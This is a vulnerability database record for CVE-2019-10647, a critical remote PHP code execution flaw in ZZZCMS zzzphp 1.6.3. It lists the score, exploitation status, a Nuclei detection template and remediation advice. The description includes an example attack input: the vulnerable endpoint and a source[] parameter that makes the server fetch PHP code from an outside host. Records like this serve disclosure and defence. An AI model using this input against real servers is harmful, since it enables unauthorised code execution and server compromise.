CVE-2019-10647

CRITICALNuclei

zzzcms zzzphp Unrestricted Upload of File with Dangerous Type

Title source: VulnCheck
STIX 2.1 vulnerability

Record summary

CVE-2019-10647 has a selected CVSS score of 9.8 (critical); EIP currently links 1 Nuclei template.

Description

ZZZCMS zzzphp v1.6.3 allows remote attackers to execute arbitrary PHP code via a .php URL in the plugins/ueditor/php/controller.php?action=catchimage source[] parameter because of a lack of inc/zzz_file.php restrictions. For example, source%5B%5D=http%3A%2F%2F192.168.0.1%2Ftest.php can be used if the 192.168.0.1 web server sends the contents of a .php file (i.e., it does not interpret a .php file).

Description source: CVE List

Exploitation context

Known exploitation

VulnCheck KEV
Listed · Nov 26, 2024 · VulnCheck
Reported exploitation
Observed · VulnCheck

Available material

Nuclei templates
1

Affected products and versions

1
ProductSourceVersion range

zzzphp

Browse zzzcms / zzzphp
VulnCheckVersion data not supplied

Nuclei templates

1
ProjectDiscoveryCRITICALZZZCMS ZZZPHP 1.6.3 – Remote PHP Code Execution (RCE)CVSS 9.8

ZZZCMS zzzphp v1.6.3 contains a remote code execution caused by lack of restrictions in inc/zzz_file.php, letting attackers execute arbitrary PHP code via a crafted URL in the plugins/ueditor/php/controller.php?action=catchimage source[] parameter, exploit requires attacker to send malicious URL and server to serve PHP code as plain text.

Impact

Attackers can execute arbitrary PHP code on the server, potentially leading to full system compromise.

Remediation

Update to the latest version of ZZZCMS or apply security patches that restrict PHP file handling in inc/zzz_file.php.

WeaknessesCWE-434
AuthorsSourabh-Sahu
Template tagscvecve2019rcezzzphpintrusivefile-uploadvulnzzzcmsoastoobvkev
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CPE: cpe:2.3:a:zzzcms:zzzphp:1.6.3:*:*:*:*:*:*:*
https://nvd.nist.gov/vuln/detail/CVE-2019-10647 https://github.com/kyrie403/Vuln/blob/master/zzzcms/zzzphp%20v1.6.3%20write%20file%20with%20dangerous%20type.md

Source: ProjectDiscovery

References

2